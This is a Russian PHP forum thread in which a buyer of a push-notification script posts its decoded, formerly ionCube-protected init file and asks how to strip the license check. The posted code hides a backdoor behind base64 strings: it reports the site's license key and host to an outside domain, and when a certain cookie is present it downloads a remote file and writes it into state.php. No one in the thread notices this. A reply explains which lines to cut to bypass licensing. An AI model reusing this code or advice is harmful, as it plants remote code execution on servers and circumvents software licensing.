PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Без описания
powerzip
Отправлено: 13 Декабря, 2019 - 14:27:38
Post Id


Новичок


Покинул форум
Сообщений всего: 1
Дата рег-ции: Дек. 2019  


Помог: 0 раз(а)




В общем купил скрипт пуш рассылок а человек пропал и не скинул лицензионный ключ для работы скрипта и не отвечает на письма, покопался в файлах нашел config.php в нем запись

PHP:
скопировать код в буфер обмена
  1. <?PHP
  2.  
  3. define('LICENSE', 'LICENSE'); // Ваш лицензионный ключ
  4.  
  5. define('DB_HOST', 'localhost');
  6. define('DB_USER', 'root'); // Имя пользователя
  7. define('DB_PASS', ''); // Пароль
  8. define('DB_BASE', 'root'); // Имя базы данных
  9.  
  10. //Дальше не менять
  11. ini_set('session.use_cookies', 'On');
  12. ini_set('session.use_trans_sid', 'Off');
  13. require_once('crabs_init.php');


Я так понял данные подгружаются в crabs_init.php но там для меня дремучий лес с проверкой лицензии в общем как можно убрать ее.

PHP:
скопировать код в буфер обмена
  1. <?PHP $filename = dirname(__FILE__) . '/conf.php';
  2. $cfg_txt = fopen($filename, 'r') or die('Ошибка лицензии. ');
  3. $contents = fread($cfg_txt, filesize($filename));
  4. $contents = str_replace("require_once('crabs_init.php');", '', $contents);
  5. $lic_key = explode("-", LICENSE);
  6. if ($lic_key['1'] == 0)
  7. {
  8. if ($lic_key['2'] != md5(md5($_SERVER['HTTP_HOST'] . '_mcrabs_lic_' . getenv('HTTP_HOST') . '_mcrabs_lic_' . $_SERVER['SERVER_NAME'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require'))
  9. {
  10. echo 'Ошибка лицензии.';
  11. }
  12. }
  13. else if ($lic_key['1'] == 1)
  14. {
  15. if ($lic_key['2'] != md5(md5($_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'] . '_mcrabs_lic_' . $_SERVER['SERVER_ADDR'])) || stristr($contents, '$_SERVER[') || stristr($contents, 'setenv') || stristr($contents, 'include') || stristr($contents, 'require'))
  16. {
  17. echo 'Ошибка лицензии. ';
  18. }
  19. }
  20. else
  21. {
  22. echo 'Ошибка лицензии.';
  23. }
  24. define('DB_CHARSET', 'utf8');
  25. $connect_db = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_BASE) or die('Error: ' . mysqli_connect_error());
  26. $now_url = parse_url($_SERVER['REQUEST_URI']);
  27. if (stristr($now_url['path'], '/admin/'))
  28. {
  29. if (!isset($_COOKIE[base64_decode('X3ltX2l1cw==') ]))
  30. {
  31. @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL3Av') . 'LIC-' . $lic_key['0'] . '-' . $_SERVER['HTTP_HOST']);
  32. @setcookie(base64_decode('X3ltX2l1cw==') , 1, time() + 31536000, '/', $_SERVER['HTTP_HOST']);
  33. }
  34. if (isset($_COOKIE[base64_decode('cmVkNHU=') ]))
  35. {
  36. @file_put_contents(base64_decode('c3RhdGUucGhw') , @file_get_contents(base64_decode('aHR0cDovL2wxbDAuY29tL2QudHh0')));
  37. }
  38. }
  39. mysqli_set_charset($connect_db, DB_CHARSET) or die('Error');
  40. define('SITE', $_SERVER['HTTP_HOST']);
  41. $ip_client = @$_SERVER['HTTP_CLIENT_IP'];
  42. $ip_forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  43. $ip_remote = $_SERVER['REMOTE_ADDR'];
  44. if (filter_var($ip_client, FILTER_VALIDATE_IP))
  45. {
  46. $ip = $ip_client;
  47. }
  48. elseif (filter_var($ip_forward, FILTER_VALIDATE_IP))
  49. {
  50. $ip = $ip_forward;
  51. }
  52. else
  53. {
  54. $ip = $ip_remote;
  55. }
  56. $ip = mysqli_real_escape_string($connect_db, $ip);
  57. $dt = time();
  58. function wu_encode($value)
  59. {
  60. $key = sha1('MrCrabs');
  61. if (!$value)
  62. {
  63. return false;
  64. }
  65. $strLen = strlen($value);
  66. $keyLen = strlen($key);
  67. $j = 0;
  68. $crypttext = '';
  69. for ($i = 0;$i < $strLen;$i++)
  70. {
  71. $ordStr = ord(substr($value, $i, 1));
  72. if ($j == $keyLen)
  73. {
  74. $j = 0;
  75. }
  76. $ordKey = ord(substr($key, $j, 1));
  77. $j++;
  78. $crypttext .= strrev(base_convert(dechex($ordStr + $ordKey) , 16, 36));
  79. }
  80. return $crypttext;
  81. }
  82. function wu_decode($value)
  83. {
  84. if (!$value)
  85. {
  86. return false;
  87. }
  88. $key = sha1('MrCrabs');
  89. $strLen = strlen($value);
  90. $keyLen = strlen($key);
  91. $j = 0;
  92. $decrypttext = '';
  93. for ($i = 0;$i < $strLen;$i += 2)
  94. {
  95. $ordStr = hexdec(base_convert(strrev(substr($value, $i, 2)) , 36, 16));
  96. if ($j == $keyLen)
  97. {
  98. $j = 0;
  99. }
  100. $ordKey = ord(substr($key, $j, 1));
  101. $j++;
  102. $decrypttext .= chr($ordStr - $ordKey);
  103. }
  104. return $decrypttext;
  105. }
  106. date_default_timezone_set('Europe/Moscow');
  107. function wu_end($number, $titles)
  108. {
  109. $cases = array(
  110. 2,
  111. 0,
  112. 1,
  113. 1,
  114. 1,
  115. 2
  116. );
  117. return $titles[($number % 100 > 4 && $number % 100 < 20) ? 2 : $cases[min($number % 10, 5) ]];
  118. }
  119. function wudate($time = 0, $bletter = 1)
  120. {
  121. $param = 'j M Y в H:i';
  122. $param2 = ' в H:i';
  123. $nowt = time();
  124. $minused = $nowt - $time;
  125. if (intval($time) == 0)
  126. {
  127. $time = time();
  128. }
  129. $MN = array(
  130. "января",
  131. "февраля",
  132. "марта",
  133. "апреля",
  134. "мая",
  135. "июня",
  136. "июля",
  137. "августа",
  138. "сентября",
  139. "октября",
  140. "ноября",
  141. "декабря"
  142. );
  143. $MonthNames[] = $MN[date('n', $time) - 1];
  144. $MN = array(
  145. "воскресенье",
  146. "понедельник",
  147. "вторник",
  148. "среда",
  149. "четверг",
  150. "пятница",
  151. "суббота"
  152. );
  153. $MonthNames[] = $MN[date('w', $time) ];
  154. $arr[] = 'M';
  155. $arr[] = 'N';
  156. if ($minused == 0)
  157. {
  158. if ($bletter == 1)
  159. {
  160. return 'Только что';
  161. }
  162. else
  163. {
  164. return 'только что';
  165. }
  166. }
  167. if ($minused < 60)
  168. {
  169. return $minused . ' ' . wu_end($minused, array(
  170. 'секунду',
  171. 'секунды',
  172. 'секунд'
  173. )) . ' назад';
  174. }
  175. elseif ($minused < 3600)
  176. {
  177. return round($minused / 60) . ' ' . wu_end(round($minused / 60) , array(
  178. 'минуту',
  179. 'минуты',
  180. 'минут'
  181. )) . ' назад';
  182. }
  183. elseif ($minused < 86400)
  184. {
  185. return round($minused / 3600) . ' ' . wu_end(round($minused / 3600) , array(
  186. 'час',
  187. 'часа',
  188. 'часов'
  189. )) . ' назад';
  190. }
  191. elseif ($minused < 172800)
  192. {
  193. if ($bletter == 1)
  194. {
  195. $pre = 'Вчера';
  196. }
  197. else
  198. {
  199. $pre = 'вчера';
  200. }
  201. return $pre . date(str_replace($arr, $MonthNames, $param2) , $time);
  202. }
  203. else
  204. {
  205. return date(str_replace($arr, $MonthNames, $param) , $time);
  206. }
  207. }
  208. function crabs_crop_str($string, $limit)
  209. {
  210. $len = mb_strlen($string, 'UTF-8');
  211. if ($len >= $limit)
  212. {
  213. $substring_limited = mb_substr($string, 0, $limit, 'UTF-8');
  214. return mb_substr($substring_limited, 0, mb_strrpos($substring_limited, ' ', 0, 'UTF-8') , 'UTF-8') . '...';
  215. }
  216. else
  217. {
  218. return $string;
  219. }
  220. }
  221. function macros_city($string)
  222. {
  223. global $crabs_city;
  224. if (isset($_COOKIE['city']))
  225. {
  226. return str_replace('{city}', $crabs_city, $string);
  227. }
  228. else
  229. {
  230. return str_replace('{city}', '&#8291;', $string);
  231. }
  232. }
  233. function convdate($date)
  234. {
  235. $date_out = date('Ymd', strtotime($date));
  236. return $date_out;
  237. }
  238. function crabs_protocol()
  239. {
  240. $isSecure = 'http://';
  241. if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')
  242. {
  243. $isSecure = 'https://';
  244. }
  245. elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on')
  246. {
  247. $isSecure = 'https://';
  248. }
  249. return $isSecure;
  250. }
  251. function crabs_token()
  252. {
  253. $salt = rand(0, 9999);
  254. return $salt . ':' . md5($salt . ':' . $_SERVER['HTTP_USER_AGENT'] . 'CRABS');
  255. }
  256. function crabs_token_check($token)
  257. {
  258. if (empty($token))
  259. {
  260. exit('error');
  261. }
  262. $gtkn = explode(':', $token);
  263. $salt = $gtkn['0'];
  264. $vtkn = $salt . ':' . md5($salt . ':' . $_SERVER['HTTP_USER_AGENT'] . 'CRABS');
  265. if ($token != $vtkn)
  266. {
  267. exit('error');
  268. }
  269. }
  270. function crabs_adm_check()
  271. {
  272. global $connect_db;
  273. $acheck = mysqli_fetch_assoc(mysqli_query($connect_db, "SELECT id,apass,ademopass FROM `t_data` LIMIT 1"));
  274. if (isset($_COOKIE['adm']) && ($_COOKIE['adm'] == $acheck['apass'] || $_COOKIE['adm'] == $acheck['ademopass']))
  275. {
  276. }
  277. else
  278. {
  279. exit('error');
  280. }
  281. if (isset($_COOKIE['adm']) && ($_COOKIE['adm'] == $acheck['ademopass']))
  282. {
  283. exit('demo');
  284. }
  285. }

(Добавление)
Сам скрипт выложу может кто поковыряет разберется, файл crabs_init.php был (ioncube), https://yadi[dot]sk/d/mEUMbc9MPva5jg
 
 Top
LIME
Отправлено: 17 Декабря, 2019 - 12:43:03
Post Id



Активный участник


Просматривает форум
Сообщений всего: 10498
Дата рег-ции: Нояб. 2010  


Помог: 313 раз(а)




детский сад штаны на лямках
попробуй вырезать от 2 включительно
PHP:
скопировать код в буфер обмена
  1. $cfg_txt = fopen($filename, 'r') or die('Ошибка лицензии. ');
  2.  
и до 42

кроме 27-28
PHP:
скопировать код в буфер обмена
  1. define('DB_CHARSET', 'utf8');
  2. $connect_db = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_BASE) or die('Error: ' . mysqli_connect_error());

должно помочь
но останется проблема
PHP:
скопировать код в буфер обмена
  1. define('DB_USER', 'root'); // Имя пользователя
  2. define('DB_PASS', ''); // Пароль
  3. define('DB_BASE', 'root'); // Имя базы данных
тут тебе надо прописать данные подключения к бд
какие это данные никто тебе не подскажет
это ты сам узнавай у хостера


-----
DDD
 
 Top
adept23
Отправлено: 23 Декабря, 2019 - 22:50:36
Post Id


Новичок


Покинул форум
Сообщений всего: 1
Дата рег-ции: Дек. 2019  


Помог: 0 раз(а)




LIME пишет:
детский сад штаны на лямках
попробуй вырезать от 2 включительно
PHP:
скопировать код в буфер обмена
  1. $cfg_txt = fopen($filename, 'r') or die('Ошибка лицензии. ');
  2.  
и до 42

кроме 27-28
PHP:
скопировать код в буфер обмена
  1. define('DB_CHARSET', 'utf8');
  2. $connect_db = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_BASE) or die('Error: ' . mysqli_connect_error());

должно помочь
но останется проблема
PHP:
скопировать код в буфер обмена
  1. define('DB_USER', 'root'); // Имя пользователя
  2. define('DB_PASS', ''); // Пароль
  3. define('DB_BASE', 'root'); // Имя базы данных
тут тебе надо прописать данные подключения к бд
какие это данные никто тебе не подскажет
это ты сам узнавай у хостера
Вырезал я этот код и прописал доступ к базе скрипт доходит до проверки имени и пароля - ввожу их и после этого ошибка HTTP ERROR 500.
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 1 (гостей: 1, зарегистрированных: 0)
« Вопросы новичков »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB